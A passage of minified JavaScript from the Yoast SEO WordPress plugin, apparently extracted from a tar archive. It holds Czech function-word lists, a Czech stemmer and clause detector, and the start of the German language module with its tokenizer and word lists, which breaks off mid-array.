"něž","němž","jímž","nímž","již","jichž","nichž","jimž","nimž","jimiž","nimiž","kdo","co","koho","čeho","komu","čemu","koho","kom","čem","kým","čím","cože","což","koho","jakou"],["co","čí","čím","jak","jaký","jaké","kde","kdo","kdý","kolik","který","jenž","proč"],["nějaký","nějaká","nějaké","žádný","nijaký","lecjaký","ledajaký","ledasjaký","kdejaký","kdekterý","všelijaký","veškerý","pár","hodně","celý","tolik","celou","celé","oba","buď","zbytek","žádná","nějakou","spoustu","několik"],["se","si","sebe","sobě","sebou","svůj","svoje","svá","své","svého","svojí","svému","svoji","svou","svém","svým","sví","svých","svými"],["někdo","někoho","někomu","někom","někým","něco","nic","něčeho","něčemu","něco","cokoli","cokoliv","něčem","něčím","některá","některé","některého","některému","některý","některou","některém","některým","někteří","některých","některými","nějaká","nějaké","nějakého","nějakému","nějaký","nějakou","nějakém","nějakým","nějací","nějakých","nějakými","něčí","něčího","něčímu","něčím","něčí","ničí","něčích","něčími","ledakdo","ledaco","ledajaký","ledakterý","kdokoliv","kdokoli","kohokoli","komukoli","kohokoli","komkoli","kýmkoli","cokoli","jakýkoli","jakýkoliv","kterýkoli","číkoli","kdos","kdosi","cosi","kterýsi","jakýsi","nikdo","čísi","leckdo","leckdos","ledakdo","ledaskdo","kdekdo","lecco","leccos","ledaco","ledacos","ledaco","ledasco","leckterý","kdekdo","kdečí","kdeco","lecčí","ledačí","ledasčí","někde","nikde","kdekoliv","kdekoli","všude","leckde","ledaskde","ledakde","někudy","kudysi","nikudy","kdekudy","odněkud","odkudsi","odnikud","odevšad","kdesi","všechen","málokdo","máloco","málokterý","zřídkakdo","zřídkaco","sotvakdo","sotvaco","sotva který","každý","každá","každé","každého","každému","každému","každou","každém","každým","každí","každých","každým","každými","všechen","všechna","všechno","vše","všeho","vší","všemu","všechnu","vším","všichni","všechny","všech","všem","všemi","takový","takové ","takového","takovou","cokoliv","jiného","jiný","taková","jiné","odtud"],["během","bez","blízko","do","od","okolo","kolem","u","vedle","z","ze","k","ke","kvůli","navzdor","navzdory","krom, vedle","kromě, vedle","místo","namísto","ohledně","podél","pomocí","oproti","naproti","proti","prostřednictvím","s","u","vlivem","vyjma","využitím","stran","díky","kvůli","podle","vůči","na","té","o","pro","přes","za","po","v","ve","mezi","s","se","nad","pod","před","mimo","skrz","při","jako","asi","dokud","ven","běž","odkud","ode","nahoře","nahoru","dovnitř","dne","beze","napříč","versus","via","vně","dovnitř","vpředu","vůkol","vespod","opodál","vepředu","svrchu","vnitř","zprostřed","naspodu","zdéli","okol","podál","naspod","kontra","vespodu","zponad","ponad","nadtož","kolkolem","zdélí","veskrz","popod","daleko","vůkolem"],["a","i","aby","ale","že","protože","neboť","když","až","jestli","jestliže","pokud","kdyby","nebo","anebo","či","proto","který","jenž","aniž","než","tak","takže","kvůli","kdybych","ach","zdá","zatím","během","kdybyste","jakožto","jakož","neb"],["řekl","říkala","řekla","řekne","říkal","říká","podle","neřekl","říkat","chtějí","neviděl","vypadáš","mluvil","rozumím","znám","cítím","nemyslím","víme","nevěřím","myslíte"],["jasně","velmi","vůbec","přesně","určitě","úplně","samozřejmě","docela","skutečně","rozhodně","vážně","spolu","jistě","naprosto","velice","hrozně","strašně","opravdu"],["mělo","přijít","podívat","dělej","dá","dala","přijde","stojí","udělám","mohlo","nechte","nemáme","dám","přišla","dělal","dejte"],["dobře","dobrý","dobrá","dobré","dost","dlouho","dlouha","nejlepší","poslední","rychle","lepší","vlastní","ostatní","velký","starý","líp","malé","špatný","lépe","hlavní","právo","úžasné","pěkný","stejné","spousta","skvělá","dobrej","horší","novou","stará","nového","nejdřív","druhou","naposledy","hezký","dlouhý","dobrý","malý","těžký","velký","zlý","delší","lepší","menší","těžší","větší","horší","nejdelší","nejlepší","nejmenší","nejtěžší","největší","nejhorší","pěkně","všelijak","nějak","jaksi","tak nějak","ijak","nikterak","akkoli","akkoliv","kdejak","už","jen","tady","teď","ještě","možná","nikdy","ani","taky","pak","trochu","prostě","víc","jenom","další","právě","zpátky","vždycky","pryč","zase","někdy","také","chvíli","znovu","snad","třeba","stále","zrovna","příliš","nějak","vždy","skoro","kolem","později","zpět","najednou","támhle","někam","hlavně","často","občas","společně","dokonce","zde","aspoň","jediný","pouze","stačí","mnohem","zas","nikam","dávno","již","dvakrát","vzhůru","pomalu","bohužel","raději","nejspíš","náhodou","okamžitě"],["jo","hej","oh","uh ","hele","fajn","ok","proboha","ah","okay"],[],["den","dnes","čas","ráno","zítra","dneska","minut","včera","času","dní","dni","dny","hodinu","hodin","týdny","měsíce","roku","měsíců"],["věc","věci","můžeš","člověk","lidi","člověka","člověku","člověče","člověku","člověkovi","lidech","lidem","lidé","lidí","člověkem","lidmi","chlap","místa"],["atd.","bůhvíkdo","bůhvíjaký","bůhvíčí","nevímco","nevímkdo a podobně","si","ne","ně","pan","pane","pana","paní","prosím","pořádku","líto","chlape","slečno","mimochodem"],a)),r=[["buď","nebo"],["buď","anebo"],["ani","ani"],["nejen","ale i"],["jak","tak"],["sice","ale"],["sice","však"],["jednak","jednak"]],d=["án","ána","áno","áni","ány","ován","ána","áno","áni","ány","en","ena","eno","eni","eny","ěn","ěna","ěno","ěni","ěny","et","eta","eto","eti","ety","it","ita","ito","iti","ity","at","ata","ato","ati","aty","yt","yta","yto","yti","yty","ut","uta","uto","uti","uty"],{getWords:f}=t.languageProcessing,{values:l}=t.languageProcessing,{Clause:c}=l,{getClausesSplitOnStopWords:k,createRegexFromArray:v}=t.languageProcessing,m={Clause:class extends c{constructor(i,e){super(i,e),this._participles=function(i){return f(i).filter((i=>d.some((e=>i.endsWith(e)))))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){this.setPassive(this.getParticiples().length>0)}},regexes:{auxiliaryRegex:v(["být","byl","byla","bylo","byli","byly","je","jsem","jsi","jste","jste","jsme","jste","jsou","budu","budeš","budete","bude","budeme","budete","budou","nebyl","nebyla","nebylo","nebyli","nebily","nebudu","nebudeš","nebudete","nebude","nebudeme","nebudete","nebudou"]),stopCharacterRegex:/([:,])(?=[ \n\r\t'"+\-»«‹›<>])/gi,stopwordRegex:v(s)}};function b(i){return k(i,m)}const g=window.lodash,S=function(i,e){const t=e.externalStemmer.palataliseSuffixes,n=i.length;return i.substring(n-2,n)===t.palataliseSuffixCi||i.substring(n-2,n)===t.palataliseSuffixCe||i.substring(n-2,n)===t.palataliseSuffixCiCaron||i.substring(n-2,n)===t.palataliseSuffixCeCaron?i.replace(i.substring(n-2,n),t.palataliseSuffixK):i.substring(n-2,n)===t.palataliseSuffixZi||i.substring(n-2,n)===t.palataliseSuffixZe||i.substring(n-2,n)===t.palataliseSuffixZiCaron||i.substring(n-2,n)===t.palataliseSuffixZeCaron?i.replace(i.substring(n-2,n),t.palataliseSuffixH):i.substring(n-3,n)===t.palataliseSuffixCte||i.substring(n-3,n)===t.palataliseSuffixCti||i.substring(n-3,n)===t.palataliseSuffixCtiAccented?i.replace(i.substring(n-3,n),t.palataliseSuffixCk):i.substring(n-3,n)===t.palataliseSuffixSte||i.substring(n-3,n)===t.palataliseSuffixSti||i.substring(n-3,n)===t.palataliseSuffixStiAccented?i.replace(i.substring(n-3,n),t.palataliseSuffixSk):i.slice(0,-1)},{baseStemmer:x}=t.languageProcessing;function p(i){const e=(0,g.get)(i.getData("morphology"),"cs",!1);return e?i=>function(i,e){return i=function(i,e){for(const t of e.externalStemmer.exceptionStemsWithFullForms)if(t[1].includes(i))return t[0];return i}(i=i.toLowerCase(),e),i=function(i,e){const t=e.externalStemmer.caseSuffixes,n=i.length;if(n>7&&i.substring(n-5,n)===t.caseSuffixAtech)return i.slice(0,-5);if(n>6){if(i.substring(n-4,n)===t.caseSuffixEtem)return i=i.slice(0,-3),S(i,e);if(i.substring(n-4,n)===t.caseSuffixAtum)return i.slice(0,-4)}if(n>5){if(i.substring(n-3,n)===t.caseSuffixEch||i.substring(n-3,n)===t.caseSuffixIch||i.substring(n-3,n)===t.caseSuffixIchAccented||i.substring(n-3,n)===t.caseSuffixEho||i.substring(n-3,n)===t.caseSuffixEmiCaron||i.substring(n-3,n)===t.caseSuffixEmi||i.substring(n-3,n)===t.caseSuffixEmuAccented||i.substring(n-3,n)===t.caseSuffixEte||i.substring(n-3,n)===t.caseSuffixEti||i.substring(n-3,n)===t.caseSuffixIho||i.substring(n-3,n)===t.caseSuffixIhoAccented||i.substring(n-3,n)===t.caseSuffixImi||i.substring(n-3,n)===t.caseSuffixImu)return i=i.slice(0,-2),S(i,e);if(i.substring(n-3,n)===t.caseSuffixAchAccented||i.substring(n-3,n)===t.caseSuffixAta||i.substring(n-3,n)===t.caseSuffixAty||i.substring(n-3,n)===t.caseSuffixYch||i.substring(n-3,n)===t.caseSuffixAma||i.substring(n-3,n)===t.caseSuffixAmi||i.substring(n-3,n)===t.caseSuffixOve||i.substring(n-3,n)===t.caseSuffixOvi||i.substring(n-3,n)===t.caseSuffixYmi)return i.slice(0,-3)}if(n>4){if(i.substring(n-2,n)===t.caseSuffixEm)return i=i.slice(0,-1),S(i,e);if(i.substring(n-2,n)===t.caseSuffixEs||i.substring(n-2,n)===t.caseSuffixEmAccented||i.substring(n-2,n)===t.caseSuffixIm)return i=i.slice(0,-2),S(i,e);if(i.substring(n-2,n)===t.caseSuffixUm||i.substring(n-2,n)===t.caseSuffixAt||i.substring(n-2,n)===t.caseSuffixAm||i.substring(n-2,n)===t.caseSuffixOs||i.substring(n-2,n)===t.caseSuffixUs||i.substring(n-2,n)===t.caseSuffixYm||i.substring(n-2,n)===t.caseSuffixMi||i.substring(n-2,n)===t.caseSuffixOu)return i.slice(0,-2)}if(n>3){if(i.substring(n-1,n)===t.caseSuffixE||i.substring(n-1,n)===t.caseSuffixI||i.substring(n-1,n)===t.caseSuffixIAccented||i.substring(n-1,n)===t.caseSuffixECaron)return S(i,e);if(i.substring(n-1,n)===t.caseSuffixU||i.substring(n-1,n)===t.caseSuffixY||i.substring(n-1,n)===t.caseSuffixURing||i.substring(n-1,n)===t.caseSuffixA||i.substring(n-1,n)===t.caseSuffixO||i.substring(n-1,n)===t.caseSuffixAAccented||i.substring(n-1,n)===t.caseSuffixEAccented||i.substring(n-1,n)===t.caseSuffixYAccented)return i.slice(0,-1)}return i}(i,e),i=function(i,e){const t=e.externalStemmer.possessiveSuffixes,n=i.length;if(n>5){if(i.substring(n-2,n)===t.possessiveSuffixOv)return i.slice(0,-2);if(i.substring(n-2,n)===t.possessiveSuffixesUv)return i.slice(0,-2);if(i.substring(n-2,n)===t.possessiveSuffixIn)return i=i.slice(0,-1),S(i,e)}return i}(i,e),i=function(i,e){const t=e.externalStemmer.comparativeSuffixes,n=i.length;return n>5&&i.substring(n-3,n)===t.comparativeSuffixesEjs||i.substring(n-3,n)===t.comparativeSuffixesEjsCaron?(i=i.slice(0,-2),S(i,e)):i}(i,e),i=function(i,e){const t=e.externalStemmer.diminutiveSuffixes,n=i.length;if(n>7&&i.substring(n-5,n)===t.diminutiveSuffixOusek)return i.slice(0,-5);if(n>6){if(i.substring(n-4,n)===t.diminutiveSuffixEcek||i.substring(n-4,n)===t.diminutiveSuffixEcekAccented||i.substring(n-4,n)===t.diminutiveSuffixIcek||i.substring(n-4,n)===t.diminutiveSuffixIcekAccented||i.substring(n-4,n)===t.diminutiveSuffixEnek||i.substring(n-4,n)===t.diminutiveSuffixEnekAccented||i.substring(n-4,n)===t.diminutiveSuffixInek||i.substring(n-4,n)===t.diminutiveSuffixInekAccented)return i=i.slice(0,-3),S(i,e);if(i.substring(n-4,n)===t.diminutiveSuffixAcekAccented||i.substring(n-4,n)===t.diminutiveSuffixAcek||i.substring(n-4,n)===t.diminutiveSuffixOcek||i.substring(n-4,n)===t.diminutiveSuffixUcek||i.substring(n-4,n)===t.diminutiveSuffixAnek||i.substring(n-4,n)===t.diminutiveSuffixOnek||i.substring(n-4,n)===t.diminutiveSuffixUnek||i.substring(n-4,n)===t.diminutiveSuffixAnekAccented)return i.slice(0,-4)}if(n>5){if(i.substring(n-3,n)===t.diminutiveSuffixEck||i.substring(n-3,n)===t.diminutiveSuffixEckAccented||i.substring(n-3,n)===t.diminutiveSuffixIck||i.substring(n-3,n)===t.diminutiveSuffixIckAccented||i.substring(n-3,n)===t.diminutiveSuffixEnk||i.substring(n-3,n)===t.diminutiveSuffixEnkAccented||i.substring(n-3,n)===t.diminutiveSuffixInk||i.substring(n-3,n)===t.diminutiveSuffixInkAccented)return i=i.slice(0,-3),S(i,e);if(i.substring(n-3,n)===t.diminutiveSuffixAckAccented||i.substring(n-3,n)===t.diminutiveSuffixAck||i.substring(n-3,n)===t.diminutiveSuffixOck||i.substring(n-3,n)===t.diminutiveSuffixUck||i.substring(n-3,n)===t.diminutiveSuffixAnk||i.substring(n-3,n)===t.diminutiveSuffixOnk||i.substring(n-3,n)===t.diminutiveSuffixUnk)return i.slice(0,-3);if(i.substring(n-3,n)===t.diminutiveSuffixAtk||i.substring(n-3,n)===t.diminutiveSuffixAnkAccented||i.substring(n-3,n)===t.diminutiveSuffixUsk)return i.slice(0,-3)}if(n>4){if(i.substring(n-2,n)===t.diminutiveSuffixEk||i.substring(n-2,n)===t.diminutiveSuffixEkAccented||i.substring(n-2,n)===t.diminutiveSuffixIkAccented||i.substring(n-2,n)===t.diminutiveSuffixIk)return i=i.slice(0,-1),S(i,e);if(i.substring(n-2,n)===t.diminutiveSuffixAkAccented||i.substring(n-2,n)===t.diminutiveSuffixAk||i.substring(n-2,n)===t.diminutiveSuffixOk||i.substring(n-2,n)===t.diminutiveSuffixUk)return i.slice(0,-1)}return n>3&&i.substring(n-1,n)===t.diminutiveSuffixK?i.slice(0,-1):i}(i,e),i=function(i,e){const t=e.externalStemmer.augmentativeSuffixes,n=i.length;return n>6&&i.substring(n-4,n)===t.augmentativeSuffixAjzn?i.slice(0,-4):n>5&&i.substring(n-3,n)===t.augmentativeSuffixIzn||i.substring(n-3,n)===t.augmentativeSuffixIsk?(i=i.slice(0,-2),S(i,e)):i}(i,e),i=function(i,e){const t=e.externalStemmer.derivationalSuffixes,n=i.length;if(n>8&&i.substring(n-6,n)===t.derivationalSuffixObinec)return i.slice(0,-6);if(n>7){if(i.substring(n-5,n)===t.derivationalSuffixIonar)return i=i.slice(0,-4),S(i,e);if(i.substring(n-5,n)===t.derivationalSuffixOvisk||i.substring(n-5,n)===t.derivationalSuffixOvstv||i.substring(n-5,n)===t.derivationalSuffixOvist||i.substring(n-5,n)===t.derivationalSuffixOvnik)return i.slice(0,-5)}if(n>6){if(i.substring(n-4,n)===t.derivationalSuffixAsek||i.substring(n-4,n)===t.derivationalSuffixLoun||i.substring(n-4,n)===t.derivationalSuffixNost||i.substring(n-4,n)===t.derivationalSuffixTeln||i.substring(n-4,n)===t.derivationalSuffixOvec||i.substring(n-5,n)===t.derivationalSuffixOvik||i.substring(n-4,n)===t.derivationalSuffixOvtv||i.substring(n-4,n)===t.derivationalSuffixOvin||i.substring(n-4,n)===t.derivationalSuffixStin)return i.slice(0,-4);if(i.substring(n-4,n)===t.derivationalSuffixEnic||i.substring(n-4,n)===t.derivationalSuffixInec||i.substring(n-4,n)===t.derivationalSuffixItel)return i=i.slice(0,-3),S(i,e)}if(n>5){if(i.substring(n-3,n)===t.derivationalSuffixEnk||i.substring(n-3,n)===t.derivationalSuffixIan||i.substring(n-3,n)===t.derivationalSuffixIst||i.substring(n-3,n)===t.derivationalSuffixIsk||i.substring(n-3,n)===t.derivationalSuffixIstCaron||i.substring(n-3,n)===t.derivationalSuffixItb||i.substring(n-3,n)===t.derivationalSuffixIrn)return i=i.slice(0,-2),S(i,e);if(i.substring(n-3,n)===t.derivationalSuffixArn||i.substring(n-3,n)===t.derivationalSuffixOch||i.substring(n-3,n)===t.derivationalSuffixOst||i.substring(n-3,n)===t.derivationalSuffixOvn||i.substring(n-3,n)===t.derivationalSuffixOun||i.substring(n-3,n)===t.derivationalSuffixOut||i.substring(n-3,n)===t.derivationalSuffixOus||i.substring(n-3,n)===t.derivationalSuffixUsk||i.substring(n-3,n)===t.derivationalSuffixKyn||i.substring(n-3,n)===t.derivationalSuffixCan||i.substring(n-3,n)===t.derivationalSuffixKar||i.substring(n-3,n)===t.derivationalSuffixNer||i.substring(n-3,n)===t.derivationalSuffixNik||i.substring(n-3,n)===t.derivationalSuffixCtv||i.substring(n-3,n)===t.derivationalSuffixStv)return i.slice(0,-3)}if(n>4){if(i.substring(n-2,n)===t.derivationalSuffixAcAccented||i.substring(n-2,n)===t.derivationalSuffixAc||i.substring(n-2,n)===t.derivationalSuffixAnAccented||i.substring(n-2,n)===t.derivationalSuffixAn||i.substring(n-2,n)===t.derivationalSuffixAr||i.substring(n-2,n)===t.derivationalSuffixAs)return i.slice(0,-2);if(i.substring(n-2,n)===t.derivationalSuffixEc||i.substring(n-2,n)===t.derivationalSuffixEn||i.substring(n-2,n)===t.derivationalSuffixEnCaron||i.substring(n-2,n)===t.derivationalSuffixEr||i.substring(n-2,n)===t.derivationalSuffixIr||i.substring(n-2,n)===t.derivationalSuffixIc||i.substring(n-2,n)===t.derivationalSuffixIn||i.substring(n-2,n)===t.derivationalSuffixInAccented||i.substring(n-2,n)===t.derivationalSuffixIt||i.substring(n-2,n)===t.derivationalSuffixIv)return i=i.slice(0,-1),S(i,e);if(i.substring(n-2,n)===t.derivationalSuffixOb||i.substring(n-2,n)===t.derivationalSuffixOt||i.substring(n-2,n)===t.derivationalSuffixOv||i.substring(n-2,n)===t.derivationalSuffixOn||i.substring(n-2,n)===t.derivationalSuffixUl||i.substring(n-2,n)===t.derivationalSuffixYn||i.substring(n-2,n)===t.derivationalSuffixCk||i.substring(n-2,n)===t.derivationalSuffixCn||i.substring(n-2,n)===t.derivationalSuffixDl||i.substring(n-2,n)===t.derivationalSuffixNk||i.substring(n-2,n)===t.derivationalSuffixTv||i.substring(n-2,n)===t.derivationalSuffixTk||i.substring(n-2,n)===t.derivationalSuffixVk)return i.slice(0,-2)}return n>3&&(i.charAt(i.length-1)===t.derivationalSuffixC||i.charAt(i.length-1)===t.derivationalSuffixCCaron||i.charAt(i.length-1)===t.derivationalSuffixK||i.charAt(i.length-1)===t.derivationalSuffixL||i.charAt(i.length-1)===t.derivationalSuffixN||i.charAt(i.length-1)===t.derivationalSuffixT)?i.slice(0,-1):i}(i,e),function(i,e){for(const t of e.externalStemmer.stemsThatBelongToOneWord.nouns)if(t.includes(i))return t[0];return i}(i,e)}(i,e):x}const{AbstractResearcher:j}=t.languageProcessing;class h extends j{constructor(i){super(i),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"cs",passiveConstructionType:"periphrastic",firstWordExceptions:n,stopWords:s,functionWords:u,transitionWords:o,twoPartTransitionWords:r}),Object.assign(this.helpers,{getClauses:b,getStemmer:p})}}(window.yoast=window.yoast||{}).Researcher=e})();wordpress-seo/js/dist/languages/de.js000064400000307545147510273070013657 0ustar00(()=>{var e={429:e=>{var t=function(e,t){var r;for(r=0;r<e.length;r++)if(e[r].regex.test(t))return e[r]},r=function(e,r){var s,n,l;for(s=0;s<r.length;s++)if(n=t(e,r.substring(0,s+1)))l=n;else if(l)return{max_index:s,rule:l};return l?{max_index:r.length,rule:l}:void 0};e.exports=function(e){var s="",n=[],l=1,a=1,i=function(t,r){e({type:r,src:t,line:l,col:a});var s=t.split("\n");l+=s.length-1,a=(s.length>1?1:a)+s[s.length-1].length};return{addRule:function(e,t){n.push({regex:e,type:t})},onText:function(e){for(var t=s+e,l=r(n,t);l&&l.max_index!==t.length;)i(t.substring(0,l.max_index),l.rule.type),t=t.substring(l.max_index),l=r(n,t);s=t},end:function(){if(0!==s.length){var e=t(n,s);if(!e){var r=new Error("unable to tokenize");throw r.tokenizer2={buffer:s,line:l,col:a},r}i(s,e.type)}}}}}},t={};function r(s){var n=t[s];if(void 0!==n)return n.exports;var l=t[s]={exports:{}};return e[s](l,l.exports,r),l.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var s in t)r.o(t,s)&&!r.o(e,s)&&Object.defineProperty(e,s,{enumerable:!0,get:t[s]})},r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var s={};(()=>{"use strict";r.r(s),r.d(s,{default:()=>jt});const e=window.yoast.analysis,t=["das","dem","den","der","des","die","ein","eine","einem","einen","einer","eines","eins","zwei","drei","vier","fünf","sechs","sieben","acht","neun","zehn","denen","deren","derer","dessen","diese","diesem","diesen","dieser","dieses","jene","jenem","jenen","jener","jenes","welch","welcher","welches"],n=["bekommst","bekommt","bekamst","bekommest","bekommet","bekämest","bekämst","bekämet","bekämt","gekriegt","gehörst","gehört","gehörtest","gehörtet","gehörest","gehöret","erhältst","erhält","erhaltet","erhielt","erhieltest","erhieltst","erhieltet","erhaltest"],l=["werde","wirst","wird","werden","werdet","wurde","ward","wurdest","wardst","wurden","wurdet","worden","werdest","würde","würdest","würden","würdet","bekomme","bekommen","bekam","bekamen","bekäme","bekämen","kriege","kriegst","kriegt","kriegen","kriegte","kriegtest","kriegten","kriegtet","kriegest","krieget","gehöre","gehören","gehörte","gehörten","erhalte","erhalten","erhielten","erhielte"],a=["werden","bekommen","kriegen","gehören","erhalten"],i={participleLike:n,otherAuxiliaries:l.concat(a),filteredAuxiliaries:n.concat(l),infinitiveAuxiliaries:a,all:n.concat(l,a)},b=["aber","abschließend","abschliessend","alldieweil","allerdings","also","anderenteils","andererseits","andernteils","anfaenglich","anfänglich","anfangs","angenommen","anschliessend","anschließend","aufgrund","ausgenommen","ausserdem","außerdem","beispielsweise","bevor","beziehungsweise","bspw","bzw","d.h","da","dabei","dadurch","dafuer","dafür","dagegen","daher","dahingegen","danach","dann","darauf","darum","dass","davor","dazu","dementgegen","dementsprechend","demgegenüber","demgegenueber","demgemaess","demgemäß","demzufolge","denn","dennoch","dergestalt","derweil","desto","deshalb","desungeachtet","deswegen","doch","dort","drittens","ebenfalls","ebenso","endlich","ehe","einerseits","einesteils","entsprechend","entweder","erst","erstens","falls","ferner","folgerichtig","folglich","fürderhin","fuerderhin","genauso","hierdurch","hierzu","hingegen","immerhin","indem","indes","indessen","infolge","infolgedessen","insofern","insoweit","inzwischen","jedenfalls","jedoch","kurzum","m.a.w","mitnichten","mitunter","möglicherweise","moeglicherweise","nachdem","nebenher","nichtsdestotrotz","nichtsdestoweniger","ob","obenrein","obgleich","obschon","obwohl","obzwar","ohnehin","richtigerweise","schliesslich","schließlich","seit","seitdem","sobald","sodass","so dass","sofern","sogar","solang","solange","somit","sondern","sooft","soviel","soweit","sowie","sowohl","statt","stattdessen","trotz","trotzdem","überdies","übrigens","ueberdies","uebrigens","ungeachtet","vielmehr","vorausgesetzt","vorher","waehrend","während","währenddessen","waehrenddessen","weder","wegen","weil","weiter","weiterhin","wenn","wenngleich","wennschon","wennzwar","weshalb","widrigenfalls","wiewohl","wobei","wohingegen","z.b","zudem","zuerst","zufolge","zuletzt","zumal","zuvor","zwar","zweitens"],u=b.concat(["abgesehen von","abgesehen davon","als dass","als ob","als wenn","anders ausgedrückt","anders ausgedrueckt","anders formuliert","anders gefasst","anders gefragt","anders gesagt","anders gesprochen","anstatt dass","auch wenn","auf grund","auf jeden fall","aus diesem grund","ausser dass","außer dass","ausser wenn","außer wenn","besser ausgedrückt","besser ausgedrueckt","besser formuliert","besser gesagt","besser gesprochen","bloss dass","bloß dass","darüber hinaus","das heisst","das heißt","des weiteren","dessen ungeachtet","ebenso wie","genauso wie","geschweige denn","im fall","im falle","im folgenden","im gegensatz dazu","im gegenteil","im grunde genommen","in diesem sinne","je nachdem","kurz gesagt","mit anderen worten","ohne dass","so dass","umso mehr als","umso weniger als","umso mehr, als","umso weniger, als","unbeschadet dessen","und zwar","ungeachtet dessen","unter dem strich","zum beispiel","zunächst einmal"]);function g(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}const h=i.filteredAuxiliaries,o=["das","dem","den","der","des","die","ein","eine","einem","einen","einer","eines"],c=["eins","zwei","drei","vier","fünf","sechs","sieben","acht","neun","zehn","elf","zwölf","zwoelf","dreizehn","vierzehn","fünfzehn","fuenfzehn","sechzehn","siebzehn","achtzehn","neunzehn","zwanzig","hundert","einhundert","zweihundert","dreihundert","vierhundert","fünfhundert","fuenfhundert","sechshundert","siebenhundert","achthundert","neunhundert","tausend","million","milliarde","billion","billiarde"],d=["erste","erster","ersten","erstem","erstes","zweite","zweites","zweiter","zweitem","zweiten","dritte","dritter","drittes","dritten","drittem","vierter","vierten","viertem","viertes","vierte","fünfte","fünfter","fünftes","fünften","fünftem","fuenfte","fuenfter","fuenftem","fuenften","fuenftes","sechste","sechster","sechstes","sechsten","sechstem","siebte","siebter","siebten","siebtem","siebtes","achte","achter","achten","achtem","achtes","neunte","neunter","neuntes","neunten","neuntem","zehnte","zehnter","zehnten","zehntem","zehntes","elfte","elfter","elftes","elften","elftem","zwölfte","zwölfter","zwölften","zwölftem","zwölftes","zwoelfte","zwoelfter","zwoelften","zwoelftem","zwoelftes","dreizehnte","dreizehnter","dreizehntes","dreizehnten","dreizehntem","vierzehnte","vierzehnter","vierzehntes","vierzehnten","vierzehntem","fünfzehnte","fünfzehnten","fünfzehntem","fünfzehnter","fünfzehntes","fuenfzehnte","fuenfzehnten","fuenfzehntem","fuenfzehnter","fuenfzehntes","sechzehnte","sechzehnter","sechzehnten","sechzehntes","sechzehntem","siebzehnte","siebzehnter","siebzehntes","siebzehntem","siebzehnten","achtzehnter","achtzehnten","achtzehntem","achtzehntes","achtzehnte","nehnzehnte","nehnzehnter","nehnzehntem","nehnzehnten","nehnzehntes","zwanzigste","zwanzigster","zwanzigstem","zwanzigsten","zwanzigstes"],w=["ich","du","er","sie","es","wir","ihr"],m=["mich","dich","ihn","uns","euch"],f=["denen","deren","derer","dessen","diese","diesem","diesen","dieser","dieses","jene","jenem","jenen","jener","jenes","welch","welcher","welches","derjenige","desjenigen","demjenigen","denjenigen","diejenige","derjenigen","dasjenige","diejenigen"],p=["mein","meine","meinem","meiner","meines","meinen","dein","deine","deinem","deiner","deines","deinen","sein","seine","seinem","seiner","seines","ihre","ihrem","ihren","ihrer","ihres","unser","unsere","unserem","unseren","unserer","unseres","euer","eure","eurem","euren","eurer","eures","einanders"],k=["manche","manch","viele","viel","vieler","vielen","vielem","all","alle","aller","alles","allen","allem","allerlei","solcherlei","einige","etliche","wenige","weniger","wenigen","wenigem","weniges","wenig","wenigerer","wenigeren","wenigerem","wenigere","wenigeres","wenig","bisschen","paar","kein","keines","keinem","keinen","keine","mehr","genug","mehrere","mehrerer","mehreren","mehrerem","mehreres","verschiedene","verschiedener","verschiedenen","verschiedenem","verschiedenes","verschiedne","verschiedner","verschiednen","verschiednem","verschiednes","art","arten","sorte","sorten"],y=["sich"],z=["einander"],v=["andere","anderer","anderem","anderen","anderes","andren","andern","andrem","anderm","andre","andrer","andres","beide","beides","beidem","beider","beiden","etwas","irgendetwas","irgendein","irgendeinen","irgendeinem","irgendeines","irgendeine","irgendeiner","irgendwas","irgendwessen","irgendwer","irgendwen","irgendwem","irgendwelche","irgendwelcher","irgendwelchem","irgendwelchen","irgendwelches","irgendjemand","irgendjemanden","irgendjemandem","irgendjemandes","irgendwie","wer","wen","wem","wessen","was","welchen","welchem","welche","jeder","jedes","jedem","jeden","jede","jedweder","jedweden","jedwedem","jedwedes","jedwede","jeglicher","jeglichen","jeglichem","jegliches","jegliche","jedermann","jedermanns","jemand","jemanden","jemandem","jemands","jemandes","man","meinesgleichen","sämtlich","saemtlich","sämtlicher","saemtlicher","sämtlichen","saemtlichen","sämtlichem","saemtlichem","sämtliches","saemtliches","sämtliche","saemtliche","solche","solcher","solchen","solchem","solches","niemand","niemanden","niemandem","niemandes","niemands","nichts","zweiter"],E=["warum","wie","wo","woher","wohin","wann"],F=["dahinter","damit","daneben","daran","daraus","darin","darunter","darüber","darueber","davon","dazwischen","hieran","hierauf","hieraus","hierbei","hierfuer","hierfür","hiergegen","hierhinter","hierin","hiermit","hiernach","hierum","hierunter","hierueber","hierüber","hiervor","hierzwischen","hierneben","hiervon","wodurch","wofür","wofuer","wogegen","wohinter","womit","wonach","woneben","woran","worauf","woraus","worin","worum","worunter","worüber","worueber","wovon","wovor","wozu","wozwischen"],B=["hier","dorthin","hierher","dorther"],j=["allenfalls","keinesfalls","anderenfalls","andernfalls","andrenfalls","äußerstenfalls","bejahendenfalls","bestenfalls","eintretendenfalls","entgegengesetztenfalls","erforderlichenfalls","gegebenenfalls","geringstenfalls","gleichfalls","günstigenfalls","günstigstenfalls","höchstenfalls","möglichenfalls","notfalls","nötigenfalls","notwendigenfalls","schlimmstenfalls","vorkommendenfalls","zutreffendenfalls","keineswegs","durchwegs","geradenwegs","geradeswegs","geradewegs","gradenwegs","halbwegs","mittwegs","unterwegs"],x=["habe","hast","hat","habt","habest","habet","hatte","hattest","hatten","hätte","haette","hättest","haettest","hätten","haetten","haettet","hättet","hab","bin","bist","ist","sind","sei","seiest","seien","seiet","war","warst","waren","wart","wäre","waere","wärest","waerest","wärst","waerst","wären","waeren","wäret","waeret","wärt","waert","seid","darf","darfst","dürft","duerft","dürfe","duerfe","dürfest","duerfest","dürfet","duerfet","durfte","durftest","durften","durftet","dürfte","duerfte","dürftest","duerftest","dürften","duerften","dürftet","duerftet","kann","kannst","könnt","koennt","könne","koenne","könnest","koennest","könnet","koennet","konnte","konntest","konnten","konntet","könnte","koennte","könntest","koenntest","könnte